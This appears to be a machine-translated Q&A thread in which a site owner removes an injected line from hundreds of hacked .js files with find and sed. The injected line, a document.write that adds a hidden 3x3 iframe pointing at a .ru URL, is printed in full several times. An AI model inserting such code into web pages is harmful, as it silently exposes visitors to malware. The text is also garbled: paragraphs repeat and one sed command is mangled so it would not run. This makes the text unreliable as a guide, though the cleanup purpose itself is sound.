使用sed删除字符串

使用sed删除字符串,sed,Sed,我被黑客攻击了,有数百个.js文件,其中有一行代码我正试图删除: ;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>'); 它删除文件的全部内容。你能帮我把它修好吗?我只需要删除完整的字符串

我被黑客攻击了,有数百个.js文件,其中有一行代码我正试图删除:

;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>');
它删除文件的全部内容。你能帮我把它修好吗?我只需要删除完整的字符串


感谢您提供的所有帮助。

我最后用以下代码删除了有问题的代码,效果很好

find public_html/ -type f -name "*.js" -exec sed -i 's|;document.write(\x27<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>\x27);||g' {} \;
find public_html/-type f-name“*.js”-exec sed-i's;document.write(\x27\x27)||g'{}\;

我最后用以下代码删除了有问题的代码,这很有效

find public_html/ -type f -name "*.js" -exec sed -i 's|;document.write(\x27<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>\x27);||g' {} \;
find public_html/-type f-name“*.js”-exec sed-i's;document.write(\x27\x27)||g'{}\;

您通常可以使用
dos2unix
命令切换换行符。您不能从源代码管理返回站点并从原始代码重建它吗?您可以使用
sed-i'$d'$file
删除文件的最后一行。Windows样式的换行不应该导致问题;行尾有一个LF。出于某种原因,它仍在删除文件的全部内容。当我在Komodo Edit中查看该文件时,它会显示在自己的一行上,但如果“更少”,则完整文件会显示在一行上。每周会有2-3次这样的问题,请学习使用搜索工具
[sed]fix js hacked
可能就是您所需要的。祝你好运。你可以经常用
dos2unix
命令切换换行符。你不能从源代码管理返回到你的站点并从原始代码中重建它吗?你可以用
sed-i'$d'$file
删除文件的最后一行。Windows样式的换行不应该导致问题;行尾有一个LF。出于某种原因,它仍在删除文件的全部内容。当我在Komodo Edit中查看该文件时,它会显示在自己的一行上,但如果“更少”,则完整文件会显示在一行上。每周会有2-3次这样的问题,请学习使用搜索工具
[sed]fix js hacked
可能就是您所需要的。祝你好运